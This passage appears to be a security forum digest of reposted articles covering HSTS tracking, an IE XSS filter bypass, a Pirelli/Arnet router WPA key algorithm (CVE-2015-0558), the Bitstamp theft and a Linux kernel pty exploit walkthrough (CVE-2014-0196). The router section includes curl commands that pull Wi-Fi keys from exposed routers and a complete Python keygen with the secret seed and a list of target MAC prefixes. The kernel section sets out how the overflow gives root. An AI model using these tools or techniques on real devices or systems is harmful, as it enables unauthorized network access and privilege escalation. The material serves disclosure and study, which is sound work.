be done about this? My proposal is to amend the draft to force the includeSubDomains flag on wildcard certificates. This would limit them to only one entry in the browsers HSTS database and make the technique above prohibitively expensive to non-CA owners as a separate signed SSL certificate would be needed for every bit of information stored and limit encoding options. That way we can have the best of both worlds, privacy and security. Posted by Mikhail Davidov Sursa: The Double-Edged Sword of HSTS Persistence and Privacy | Leviathan Security Group
      • 1
      • Upvote
  17. HSTS Super Cookies 2 January 2015 Websites could use a security feature of your iPad to track your browsing even if you clear the browser history. Demonstration Your tracking id was read. dbgies This is a unique value that was generated by JavaScript in this page. The page attempts to store this value in your web browser and read it again when you visit the page in the future. Different web browsers don't behave exactly the same way. To see how your browser performs try these tests and see if the value stays the same: Refresh the page. Open the same web address in a "private"/"incognito" window. Clear your browser cookies and refresh the page. Visit the page on a different iOS device, synced with the same iCloud account. If the value stays the same during any of these steps this technique could be used to track your browsing habits. It's a well observed tip to make sure you're using a secure connection whenever you visit a website where you might share sensitive or personal information. When you're visiting a website with a secure connection your web browser displays a padlock icon. The icon indicates that your connection to the site is encrypted and can't be interfered with or intercepted. A security feature of modern web browsers called "HTTP Strict Transport Security" (HSTS) allows a website to indicate that it should always be accessed using a secure connection. If you visit a site that has HSTS enabled, your web browser will remember this flag and ensure the connection is secure any time you visit the website in the future. Subsequent visits to the site without using a secure connection get automatically redirected by the web browser to the secure variant of the web address, beginning https:// This automatic redirecting protects your access to the site from being intercepted but could also be abused by a malicious site to store a unique number to track your web browser. A number can be encoded as a series of bits (true and false values) and stored by accessing a set of web addresses. Each web address responds with HSTS enabled or disabled depending on the address. Once the number is stored it could be read by other sites in the future. Reading the number just requires testing if requests for the same web addresses are redirected or not. Using HSTS to track your browsing habits evades the features of web browsers designed to control more normal "cookie" based tracking mechanisms. Using "incognito" or "private" modes means that existing cookies won't be shared with sites you visit. Browsers also let you entirely delete cookies that could be used to track you. Because HSTS is a security feature and isn't intended to be used for tracking, web browsers treat it differently from cookies. It is only by intentional misapplication that HSTS can be exploited to track users. Some browsers such as Google Chrome, Firefox and Opera do mitigate the issue. Erasing cookies on these browsers also erases HSTS flags so any stored value will be cleared. However, unlike cookies, existing HSTS flags are still shared with sites when using "incognito" or "private" windows. The impact is that it's possible for a site to track you even if you choose to use "incognito" or "private" browsing features in an effort to avoid such tracking. Considerably more worrying is the behavior displayed by Safari, the default browser for iPad and iPhone. When using Safari on an Apple device there appears to be no way that HSTS flags can be cleared by the user. HSTS flags are even synced with the iCloud service so they will be restored if the device is wiped. In this case the device can effectively be "branded" with an indelible tracking value that you have no way of removing. A notable exception is Internet Explorer which has no support for HSTS (although it is in development at the time of writing) so it's not vulnerable to this technique. I initially thought this wasn't an avenue that had previously been explored, However Mikhail Davidov wrote about the potential misuse of HSTS in April 2012 although I'm not aware of any direct response to his observations by browser vendors. I'm not aware of the technique being used to track users in the wild, although that is not to say it isn't. I'd like to reach out to the rest of the technical community to consider how this might be mitigated while still deriving as much value from HSTS as possible. If you would like to get in touch regarding this information please email me at sam-hsts-sc@radicalresearch.co.uk Update 4 January 2015 Members of he Google Chrome security team have been kind enough to highlight the discussions that have lead to a number of patches, and reverts to the chromium code base in attempts to mitigate the effects of the problem this article demonstrates. You can read more here and here Ultimately they conclude that there is a necessary trade-off between security and privacy. The chromium security FAQ goes on to say that "defeating such fingerprinting is likely not practical without fundamental changes to how the Web works". The Technical analysis of client identification mechanisms talks about the possibility of this technique, along with many others, saying "In an attempt to balance security and privacy, any HSTS pins set during normal browsing are carried over to the incognito mode in Chrome; there is no propagation in the opposite direction, however." Update 7 January 2015 The release of version 34.0 of Firefox seems to have changed. Unlike Google Chrome, Firefox has chosen to prefer privacy over security and no longer carries HSTS over to private windows. Robert "RSnake" Hansen points out that he raised concerns about this possibility on his blog ha.ckers.org when implementations of the HSTS were in their infancy. Sursa: RadicalResearch HSTS Super Cookies
      • 2
      • Upvote
  18. [h=1]Bypassing the IE XSS filter[/h] Wednesday, 7 January 2015 Mario noticed that the new version of the IE filter blocks anchors in attempt to prevent the same origin bypass where you double encode the vector and post a link to itself. I had to take a look and see if I could break it and…of course I did. The regex is very generic:- <a.*?hr{e}f This could cause problems with information disclosure if you can put something in between the “a” and “href” and detect if the filter is active which I’ll admit is pretty tricky now with the new protection against such attacks. Anyway lets move onto the vectors. I literally found the bypass in about 30 minutes, using an existing form it’s possible to inject a button that submits an existing form to inject the vector into itself with an encoded payload. XSS filter bypass using formaction PoC Ok onto the next bypass which is pretty simple. In the regexes they look for “http-equiv” in the meta element but forget about “charset”. Charset has worked in IE for years and even though it’s a HTML5 standard it works in quirks mode too. We can inject a UTF-7 vector which executes nicely. Here is the second Poc. XSS filter bypass using meta charset Sursa: Bypassing the IE XSS filter
      • 1
      • Upvote
  19. CVE-2015-0558: Reverse-engineering the default WPA key generation algorithm for Pirelli routers in Argentina Lunes, 5 de enero de 2015 superdudu Introduction Sticker with default settings A couple of years ago whether I do not remember badly, I was doing reverse engineering in some Spanish routers deployed by Pirelli as well. After I extracted the firmware and found out a suspicious library with many references to key generation’s functions everything was over. Unfortunately, I could not recover the algorithm itself. Principally, because those routers were not using the same algorithm for generating default keys and simply because such algorithm was not explicitly there. Shit happens! However, as I could not reveal the algorithm then decided to try another way to recover keys. Eventually, I realised that these routers were vulnerable to unauthorized and unauthenticated remote access and any adversary could fetch HTML code from our public IP address. Plenty of HTMLs were able to be downloaded without any restriction, meaning a huge leakage. Being vulnerable to a bunch of evil attacks. This remote information disclosure can be seen on this CVE-2015-0554. On the other side, I do not know whether Argentinian routers are also vulnerable to this vulnerability. Feel free to try it out and let me know too. Just to see how easy was to achieve those keys in the HomeStation(essids-like WLAN_XXXX) in Spain, a simple curl command was enough: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "WLAN_" <option value='0'>WLAN_DEAD</option> $ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var wpapskkey" var wpaPskKey = 'IsAklFHhFFui1sr9ZMqD'; $ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var WscDevPin" var WscDevPin = '12820078'; [/TD] [/TR] [/TABLE] Today I am gonna explain how I reverse engineered a MIPS library in order to recover the default WPA key generation algorithm for some Argentinian routers deployed by Pirelli. Concretely the router affected is the model P.DG-A4001N. First of all, I am neither Argentinian nor live there. Nevertheless, accidentally I observed some stickers from Pirelli routers in a random forum and as an user had already publicly published the firmware for those routers then I decided to give a try. As I still remembered the file where I dug into for the Spanish routers, I rapidly tried to recover the algorithm in these routers. Next writing is the way I followed until to achieve it. Reverse-engineering the default key generation algorithm In this section, we are going to reverse engineer a MIPS library, /lib/private/libcms.core, found out in the firmware itself. First of all, let us comment that the firmware was extracted for another user (fernando3k) and subsequently extracted by using Binwalk and firmware-mod-kit. Once was mounted into our system, we found out a function called generatekey. As you have seen, symbols have not been removed in binaries and external function names are still there because dynamic compilation. This help us a lot in our reverse engineering task. On top of that, we rapidly saw how this function was calling to another one called generatekey_from_mac. At this moment, I decided to give a go to this challenge. Before get started, IDA Pro can help us with the cross references (Xrefs to-from in IDA Pro) between functions. Let’s see how functions are called in the library. (Zoom pictures in to see properly) Call flow from generateKey Really looking great! Now let’s look at the cross references. We have figured out some tips: generatekey calls generatekey_from_mac. This allow us to suppose that the mac address is involved in the key generation algorithm. Besides, getPBSHwaddr returns a mac address and it is also called by generatekey. Verification was carried out after checking how getPBSHwaddr returned the value of /var/hwaddr ( “ifconfig %s > /var/hwaddr “) SHA256 cryptographic hash function is also involved. We then know that our key is coming from a well-known hash function. This way to generate WPA keys is very popular in some vendors because the feeling of “randomness”. Digging into this function will give us the main structure of our algorithm. The function createWPAPassphraseFromKey is called by wlWriteMdmDefault ,which also calls to generatekey as well. Hence, we discover a function called bintoascii which is basically responsible to convert binary to ascii data. The SSID is also created from the mac address although it is not relevant for our task. Call flow for createWPAPassphraseFromKey Now we must dissect the generatekey_from_mac function and its SHA256 callings to figure out how many parameters are being sent as input data. Before calling generatekey, a string “1236790” is sent to this function as first argument ($a3). Nonetheless, we have to guess which is the right order for the SHA256 function, I mean how many updates there are. If we observe the below picture, we will see this step. Dissasembly of wlWriteMdmDefault From generateKey_from_mac we realise that: (Look at below image) First argument is located at offset 0x000d29e0 Second argument is the string we discovered previously (“1236790”) Third argument it has to be the mac address because there is an instruction load immediate with the value 6. Since a mac address is 6 bytes, we can try it out now. Dissasembly of generateKey_from_mac As we know that the first argument is located at the offset 0xd29e0, just a jump there and let’s reveal the secret seed used in the SHA256. Now we have guessed the first argument, and we can prepare those 32 bytes into a byte-array structure to generate the SHA256 hash later on. This secret seed has been used by Pirelli too in other countries like Italy or Austria (Look at the references on the source code for more info). Furthermore, below that we can also distinguish the charset finally used to generate keys with. Secret data found out in the library. In the end, we conclude that the algorithm is as follows: (mac address needs to be incremented by 1) SHA256(secret_seed+”1236790?+mac_address) More details on how keys are eventually generated in this python function: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: code]def genkey(mac): seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' + '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8') lookup = '0123456789abcdefghijklmnopqrstuvwxyz' sha256 = hashlib.sha256() sha256.update(seed) sha256.update('1236790') sha256.update(mac) digest = bytearray(sha256.digest()) return ''.join([lookup[x % len(lookup)] for x in digest[0:10]]) [/TD] [/TR] [/TABLE] Problems Since I attempted to do a responsible disclosure and neither ADB Pirelli nor Arnet Argentina were interested to discuss the problem, I have finally decided to do full disclosure to speed up the process of fixing. It looks like the only way with some vendors, just enforce them to replace routers for avoiding intrusions. Many things can happen whether your router with SSID Wifi-Arnet-XXXX has the default password. For your information, default passwords are located in a sticker at the bottom of routers. If you are owner of these networks, please change your password as soon as possible. You should always change the default passwords, though. An adversary, within of the wifi range, could access to your network and commit any sort of fraud. Be safe and change the passwords right now! Timeline 2014-09-11 Found the algorithm 2014-09-12 Send a message to @ARNetOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail 2014-09-16 Send another message to Arnet via website.First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though. 2014-09-23 I assume that Arnet does not care about its clients’ security at all regarding its little interest. 2014-09-24 I send the problem to the vendor ADB Pirelli via website form 2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland 2015-01-05 Full disclosure Proof-of-concept This proof-of-concept and many Pirelli default key generation algorithms might be found at my Bitbucket repository. I hope you can use them. Also a copy&paste of the first version can be looked at below. To be installed just make sure you got git installed on your system and then run: $ git clone https://dudux@bitbucket.org/dudux/adbpirelli.git $ python wifiarnet.py #!/usr/bin/env python # -*- coding: utf-8 -*- ''' @license: GPLv3 @author : Eduardo Novella @[URL="https://rstforums.com/forum/member.php?u=25234"]cont[/URL]act: ednolo[a]inf.upv.es @twitter: @enovella_ ----------------- [*] Target : ----------------- Vendor : ADB broadband Pirelli Router : Model P.DG-A4001N ISP : Arnet Telecom Argentina Possible-targets : [URL]http://hwaddress.com/?q=ADB%20Broadband%20Italia[/URL] Firmware : [URL]http://foro.seguridadwireless.net/puntos-de-acceso-routers-switchs-y-bridges/obtener-firmware-adb-p-dg-a4001n-%28arnet-telecom-argentina%29/[/URL] ----------------- [*] References : ----------------- [0] [AUSTRIA] A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness [URL]http://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/[/URL] [1] [ITALY] Alice AGPF: The algorithm! [URL]http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/[/URL] ----------------- [*] Test vectors : ----------------- [URL]http://www.arg-wireless.com.ar/index.php?topic=1006.msg6551#msg6551[/URL] ----------------------- [*] Acknowledgements : ----------------------- Thanks to fernando3k for giving me the firmware in order to do reverse-engineering on it, and christian32 for showing me a bunch of test vectors. ----------------- [*] Timeline : ----------------- 2014-09-11 Found the algorithm 2014-09-12 Send a message to @[URL="https://rstforums.com/forum/member.php?u=126676"]ARN[/URL]etOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail ([URL]http://www.telecom.com.ar/hogares/contacto_tecnico.html[/URL]) 2014-09-16 Send another message to Arnet via website. First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though. 2014-09-23 I assume that Arnet does not care about its clients' security at all regarding its little interest. 2014-09-24 I send the problem to the vendor ADB Pirelli via website form 2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland 2015-01-05 Full disclosure ----------------- [*] TODO : ----------------- 1.- Reverse-engineering the function generateSSIDfromTheMac. It is not relevant though. 2.- Extract more firmwares from others vendors and send them to me. ''' import re import sys import hashlib import argparse VERSION = 1 SUBVERSION = 0 DATEVERSION = '2014-09-11' URL = 'http://www.ednolo.alumnos.upv.es' def genkey(mac,stdout='True'): seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' + '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8') lookup = '0123456789abcdefghijklmnopqrstuvwxyz' sha256 = hashlib.sha256() sha256.update(seed) sha256.update('1236790') sha256.update(mac) digest = bytearray(sha256.digest()) if (stdout): print "[+] SHA256 : %s" % sha256.hexdigest() return ''.join([lookup[x % len(lookup)] for x in digest[0:10]]) def printTargets(): print "[+] Possible vulnerable targets so far:" for t in targets: print ("\t bssid: {0:s}:XX:XX:XX \t essid: Wifi-Arnet-XXXX".format(t.upper())) sys.exit() def checkTargets(bssid): supported = False for t in targets: if ( bssid.upper().startswith(t) ): supported = True break if (not supported): print "[!] Your bssid looks like not supported! Generating anyway." def main(): global targets version = " {0:d}.{1:d} [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL) targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54', '30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F'] parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina. So far only WiFi networks with essid like Wifi-Arnet-XXXX and manufactured by Pirelli are likely vulnerable. See [URL]http://ednolo.alumnos.upv.es/[/URL] for more details. Twitter: @enovella_ and email: ednolo[at]inf.upv.es''', epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0]) ) maingroup = parser.add_argument_group(title='required') maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address') parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version) command_group = parser.add_mutually_exclusive_group() command_group.add_argument('-l','--list', help='List all vulnerable targets (essid Wifi-Arnet-XXXX)', action='store_true') args = parser.parse_args() if args.list: printTargets() elif args.bssid: mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid) if len(mac_str) != 12: sys.exit('[!] Check MAC format!\n') try: mac = bytearray.fromhex('%012x' %(int(mac_str,16) +1)) except: sys.exit('[!] Use real input ') checkTargets(args.bssid) print '[+] SSID : Wifi-Arnet-XXXX' print '[+] MAC : %s' % args.bssid print '[+] WPA key : %s' % (genkey(mac,False)) else: parser.print_help() if __name__ == "__main__": main() Sursa: Computer issues… » CVE-2015-0558: Reverse-engineering the default WPA key generation algorithm for Pirelli routers in Argentina
  20. [h=2]Hackers Steal $5 Million From Bitcoin Exchange[/h] Victor Luckerson @VLuck Jan. 6, 2015 [h=2]Breach follows massive hack of Mt. Gox in 2014[/h] A European Bitcoin exchange had about $5 million worth of the cryptocurrency stolen by hackers over the weekend. The Slovenia-based Bitstamp announced the breach on its website Monday and shut down services temporarily Tuesday in order to investigate the hack. The theft totaled about 19,000 Bitcoin, but hackers were only able to access a small portion of the exchange’s total assets. While some Bitcoins are stored online, many more are kept on local hard drives in what Bitcoin users call “cold storage.” Bitstamp wrote on its website that it would ensure users’ account balances were “honored in full” despite the breach. The hack comes less than a year after the collapse of Mt. Gox, the once-massive Bitcoin exchange that lost more than $450 million worth of Bitcoin and then filed for bankruptcy. Bitcoin lost half of its value after Mt. Gox imploded. So far, though, the Bitstamp breach doesn’t seem to have negatively influenced the price of the currency. Sursa: Bitcoin Exchagne Bitstamp Loses $5 Million in Hack
      • 1
      • Upvote
  21. Exploiting CVE-2014-0196 a walk-through of the Linux pty race condition PoC By Samuel Groß Introduction Recently a severe vulnerability in the Linux kernel was publicly disclosed and patched. In this post we'll analyze what this particular security vulnerability looks like in the Linux kernel code and walk you through the publicly published proof-of-concept exploit code by Matthew Daley released May 12th 2014. The original post by the SUSE security team to oss-security announced that the vuln was found accidentally by a customer in production! You can find the patch at this link. The core issue is located in the pty subsystem of the kernel and has been there for about five years. There was about one year in the middle where the vuln was not present, we'll talk about that a bit later in this post. Background on the pty/tty subsystem In order to fully understand the vuln we'll have to dive into the pty/tty subsystem of the linux kernel so lets start there. A tty is "..an electromechanical typewriter paired with a communication channel." Back in the day a tty was made up of a keyboard for the input, a screen or similar display for the output and an OS process that was attached to this concept of tty. The process would then receive the input and it's output would be redirected to the screen. Those days are long gone but command line applications are not (thankfully!) and today we mostly use pseudo terminals. The main difference here is that instead of a keyboard and screen another process sits at the master side of the pty (for example a terminal emulator). Think of a pty as a bidirectional pipe or socket with some additional hooks in place (for example if you type a ctrl-c on the master side the kernel will interpret it instead of sending it to the slave. In this case the kernel will send a SIGINT signal to the slave process which will often cause it to terminate execution). It's the pty subsystem's job to take input from either side of the pty, look for specific bytes in the byte stream (e.g. a ctrl-c), process them and deliver everything else to the other side. There is additional logic involved here which is not present in other IPC concepts such as pipes or sockets. This logic takes care to ensure things like echoing characters you type at the master end are also written back to it, pressing the backspace key to remove previously typed characters actually works on display, or sending signals like SIGINT when ctrl-c is sent. This logic is called line discipline (ldisc in short). Upon receiving data from either side the kernel will store the data in a temporary buffer (struct tty_buffer) and queue a work item to process the incoming data (flush it to the line discipline) at a later point and deliver them to the client side (I assume this is mainly done for "real" terminals whose input arrives in interrupt context (i.e. keyboard press, USB packet, ...) and should thus be handled as fast as possible). In this vuln we'll be racing one of these worker processes while it processes data to find the exploitable condition. You can learn more about the pty subsystem here: The TTY demystified The vulnerability For background we'll first need to introduce some important structures from include/linux/tty.h. (all source code excerpts were taken from Linux 3.2.58 except if stated otherwise): struct tty_buffer { struct tty_buffer *next; char *char_buf_ptr; unsigned char *flag_buf_ptr; int used; int size; int commit; int read; /* Data points here */ unsigned long data[0]; }; As seen above a tty_buffer data structure temporarily holds a fixed number (well under normal circumstances) of bytes that have arrived at one end of the tty and still need to be processed. tty_buffer is a dynamically sized object, so the char_buf_ptr will always point at the first byte right after the struct and flag_buf_ptr will point to that address plus 'size'. tty_buffer.size (which is only the size of the char buffer) can be any of the following: 256, 512, 768, 1024, 1280, 1536 and 1792 (TTY_BUFFER_PAGE). The actual size of the object is then calculated as follows: 2 x size (for characters + flags) + sizeof(tty_buffer) (for the header), causing the tty_buffer to live in one of the following three kernel heap slabs: kmalloc-1024, kmalloc-2048 or kmalloc-4096. struct tty_bufhead { struct work_struct work; spinlock_t lock; struct tty_buffer *head; /* Queue head */ struct tty_buffer *tail; /* Active buffer */ struct tty_buffer *free; /* Free queue head */ int memory_used; /* Buffer space used excluding free queue */ }; A tty_bufhead is, as the name implies, is the head (or first) data structure for tty_buffers. It keeps a list active buffers (head) while also storing a direct pointer to the last buffer (the currently active one) to improve performance. You will often see references to bufhead->tail in the kernel source code, meaning the currently active buffer is requested. It also keeps it's own freelist for buffers smaller than 512 bytes (see drivers/tty/tty_buffer.c:tty_buffer_free()). struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; /* ... */ struct tty_bufhead buf; /* Locked internally */ /* ... */ }; The tty_struct data structure represents a tty/pty in kernel space. For the sake of this post all you need to know is that it stores the tty_bufhead and thus the buffers. Alright, let's start with the function mentioned in the commit message, tty_insert_flip_string_fixed_flag() in drivers/tty/tty_buffer.c. It is responsible for storing the given bytes in a tty_buffer of the tty device, allocating a new one if required: The call chain leading up to this function roughly looks like this: write(pty_fd) in userspace -> sys_write() in kernelspace -> tty_write() -> pty_write() -> tty_insert_flip_string_fixed_flag() int tty_insert_flip_string_fixed_flag(struct tty_struct *tty, const unsigned char *chars, char flag, size_t size) { int copied = 0; do { int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE); int space = tty_buffer_request_room(tty, goal); /* -1- */ struct tty_buffer *tb = tty->buf.tail; /* If there is no space then tb may be NULL */ if (unlikely(space == 0)) break; memcpy(tb->char_buf_ptr + tb->used, chars, space); /* -2- */ memset(tb->flag_buf_ptr + tb->used, flag, space); tb->used += space; /* -3- */ copied += space; chars += space; /* There is a small chance that we need to split the data over several buffers. If this is the case we must loop */ } while (unlikely(size > copied)); return copied; } This function is fairly straightforward: At -1- tty_buffer_request_room ensures that enough space is available in the currently active buffer (tty_bufhead->tail), allocating a new one if required. At -2- the incoming data is written to the active buffer and at -3- the 'used' member is incremented. Note that tb->used is used as an index into the buffer. The commit message mentions that two separate processes (a kernel worker process echoing data previously written to the master end and the process at the slave end writing to the pty directly) can enter this function at the same time due to a missing lock, thus causing a race condition. So what could happen here? The commit message provides us with the following scenario: A B __tty_buffer_request_room __tty_buffer_request_room memcpy(buf(tb->used), ...) tb->used += space; memcpy(buf(tb->used), ...) ->BOOM In here we see two processes (A and writing to the pty at the same time. Since the first process updates tb->used first the memcpy() of the second process will write past the end of the buffer (assuming the first write already filled the buffer) and thus causes the memory corruption. Now this looks reasonable at first but is actually only part of the story. Here are some observations that don't quite fit with this scenario: - When running a simple PoC the kernel seems to crash very fast (on older kernels at least), while the scenario above seems relatively hard to achieve - Looking at the debugger shows that often multiple pages of kernel data have been overwritten upon crashing. This can hardly be the case when only sending e.g. 2 x 4096 bytes at once Also take a look at the following (slightly shortened) stacktrace, produced by setting a breakpoint at tty_insert_flip_string_fixed_flag() #0 tty_insert_flip_string_fixed_flag (tty=tty@entry=0xffff880107a82800, chars=0x0, flag=flag@entry=0 '\000', size=1) /* -1. */ #1 tty_insert_flip_string (size=<optimized out>, chars=<optimized out>, tty=0xffff880107a82800) #2 pty_write (tty=0xffff880117cd3800, buf=<optimized out>, c=<optimized out>) #3 tty_put_char (tty=tty@entry=0xffff880117cd3800, ch=66 'B') /* -2- */ #4 process_echoes (tty=0xffff880117cd3800) #6 n_tty_receive_char (c=<optimized out>, tty=0xffff880117cd3800) #7 n_tty_receive_buf (tty=0xffff880117cd3800, cp=0xffff880117a78828 'B' ..., fp=0xffff880117a78a2d "", count=512) #8 flush_to_ldisc (work=0xffff880117cd3910) #9 process_one_work (worker=worker@entry=0xffff880118f507c0, work=0xffff880117cd3910) #10 worker_thread (__worker=__worker@entry=0xffff880118f507c0) #11 kthread (_create=0xffff880118ed9d80) #12 kernel_thread_helper () This is the code path a worker process takes when performing a flush to the line discipline. As can be seen at -1- and -2- the echoing is actually done byte by byte. Clearly we can't cause much harm by only overwriting a buffer with a single byte when the chunk still has unused space left (as will be the case for tty_buffer objects). In the following we will now assume that the race went something like this: Process A wrote 256 bytes, process B (performing an echo) entered tty_buffer_request_room() before A updated tb->used, causing it to not allocate a fresh buffer. Afterwards B wrote another byte to the same buffer and incremented tb->used further. To understand what is really causing the memory corruption take a look at the tty_buffer_request_room() function called by tty_insert_flip_string_fixed_flag(). int tty_buffer_request_room(struct tty_struct *tty, size_t size) { struct tty_buffer *b, *n; int left; /* -1- */ unsigned long flags; spin_lock_irqsave(&tty->buf.lock, flags); /* -2- */ /* OPTIMISATION: We could keep a per tty "zero" sized buffer to remove this conditional if its worth it. This would be invisible to the callers */ if ((b = tty->buf.tail) != NULL) left = b->size - b->used; /* -3- */ else left = 0; if (left < size) { /* -4- */ /* This is the slow path - looking for new buffers to use */ if ((n = tty_buffer_find(tty, size)) != NULL) { if (b != NULL) { b->next = n; b->commit = b->used; } else tty->buf.head = n; tty->buf.tail = n; } else size = left; } spin_unlock_irqrestore(&tty->buf.lock, flags); return size; } Now things start to get interesting, note how at -1- 'left' has type int while 'size' is of type size_t (aka unsigned long). Assuming we previously won the race and have written 257 bytes while the buffer was only 256 bytes large then we now have the following situation: b->size is 256 b->used is 257 Looking at the code above, at -3- 'left' will now equal -1 and at -4- will be casted to an unsigned value, resulting in 18446744073709551615 (assuming 64 bit long) which is definitely larger then the given size. The following block will be skipped and no new buffer will be allocated for the current request even though the current buffer is more than full. At this point sending more data to the pty will result in the data being put into the same buffer, overflowing it further (remember 'used' is used as an index into the buffer). Since b->used will still be incremented for each byte we can now overflow as much data as we want. Also note that this function is locked internally (at -2-), thus serializing access to it. Now we are ready to draw an updated scenario that leads to an overflow: A (Slave) B (Echo) tty_buffer_request_room | // waiting for A to release the lock tty_buffer_request_room // tb->used < tb->size, // no new buffer is allocated memcpy(.., 256); memcpy(.., 1); tb->used += space; tb->used += space; // tb->used is now larger than tb->size Note that we will win the race as soon as the echoing process enters tty_buffer_request_room and calculates 'left' before the first process gets to update tb->used. Since the whole memcpy() operation is in between, that time frame is relatively large. So as far as race condition scenarios go, the single case mentioned in the commit message is only one possible way that can result in memory corruption (and only if A fills the buffer completely). In general any sequence that results in tb->used being larger than tb->size will result in a memory corruption later on. For that to happen the first process must send data to completely fill a buffer (i.e. sending tb->size bytes in total) while the echoing process must enter tty_buffer_request_room() before the first process updates tb->used (this leads to tty_buffer_request_room() not allocating a fresh buffer). The corruption is then caused by sending more data to the pty which will continue to overflow the same buffer. At this point the vuln turns into a standard kernel heap overflow. And we'll conclude this section with fun fact: The race in this vuln can actually be won by using just one process. This stems from the fact that we are racing a kernel worker process and not a second user-land process. Getting to root - The exploit Here we want to quickly analyze the published exploit code which will hopefully be easy to understand now that the details of the vuln are known. Going step-by-step with PoC's console output we see... [+] Resolving symbols Yep, that's what it's doing. Note that some modern distributions (notably Ubuntu) set /proc/sys/kernel/kptr_restrict to 1, thus disabling /proc/kallsyms. For repository kernels this is merely an inconvenience though since the kernel image (and System.map) can be downloaded locally and the addresses taken from there. [+] Doing once-off allocations Stabilizing the heap. We need to make sure existing holes are filled to maximize the chances of getting objects laid out linear in the address space. We want our target buffer to be followed by one of our target objects (struct tty_struct). [+] Attempting to overflow into a tty_struct... Now we are racing. This is fairly straightforward, open a pty, spawn a new thread and write to both ends at the same time. Afterwards the child thread will send the data needed to overflow into the adjacent chunk. Assuming the race has been won at the start then there is no time pressure on these operations as discussed above. Also note that only one byte is sent to the master end, this is done so the number of bytes that has yet to be sent can be calculated. The exploit targets tty_struct structures which end up in the kmalloc-1024 slab cache. The buffer we will overflow will thus have to be in that cache as well (so tb->size = 256 which is also the minimum size). Before writing to the slave end the first time (to allocate a fresh buffer) the exploit creates a bunch of new pty's, thus allocating tty_structs in kernel space. It will then close one of them in hopes that the newly allocated buffer will end up in the freed chunk. If this works out we will have a bunch of tty_structs, followed by the buffer followed by more tty_structs in the kernel address space. Let's take a quick look at the function executed by the new thread to overflow into the following chunk: void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } The first write here will fill the previously allocated buffer (right after closing one of the pty's we allocated a new buffer by writing one byte to the slave fd). Note that the author assumes the buffer to hold 512 bytes while it's size is 256 (MIN_TTYB_SIZE). The reason for that is that on newer releases the kernel can use the flag buffer for data as well (if it knows the flags won't be needed), so the usable size of the buffer is doubled. The next write fills the memory chunk of the buffer completely. The chunk is 1024 bytes large and so far we have written 32 bytes (sizeof(struct tty_buffer)) + 511 + 1 (the first write to the slave fd) + 1 (the echoed byte from the master fd). The final write overwrites into the next heap chunk with a fake tty_structure previously created. Now remember that tty_struct has a member 'ops' that is a pointer to a tty_operations struct? Well those ops members in the linux kernel are always pointers to structures holding function pointers themselves (if you're familiar with C++ this is similar to the vtable pointer of C++ objects). These function pointers correspond to actions performed on the device, there's one for open(), one for close() one for ioctl() and so on. Now assuming we have overwritten the object then 'ops' will now be under our control, pointing into user space. There we have prepared an array of function pointers pointing to our kernel payload. Now as soon as we perform an ioctl on the tty device we will hijack the kernel control flow and redirect it into the payload. There we'll execute the standard prepare_kernel_cred(0) followed by commit_creds(), elevating our privileges to root: [+] Got it # id uid=0(root) gid=0(root) groups=0(root) Note that SMEP/SMAP will prevent this exploit (as well as the grsecurity system) as they prevent the kernel from accessing user-land data (SMAP) and code (SMEP). Limitations Unlike most other race conditions, in the case of this vuln the attacker is only able to control one of the two processes. Kernel worker processes will check for new work items regularly but can't really be affected by user space. This seems to make a huge difference for different kernel versions, on 3.2 it usually only takes a couple seconds to win the race while on 3.14 it can take multiple minutes. As mentioned in the PoC code another thing that limits the reliability is the slab cache size in use. As previously discussed the buffer can only be in one of the following slabs: kmalloc-1024, kmalloc-2048 and kmalloc-4096. At sizes this big the chance of hitting the last chunk in the last page of a slab becomes more likely, further limiting the reliability. When that happens the code will overflow into uncontrolled data. This might have no consequences (no important data has been overwritten), lead to a crash later on (some object has been overwritten that is referenced at some point in the future) or even lead to an immediate panic/Oops (for example when the next page is mapped read only). As also mentioned in the PoC exploit the flags cause some trouble on older kernels (before the commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9) as b->size bytes following the overwritten part will always be 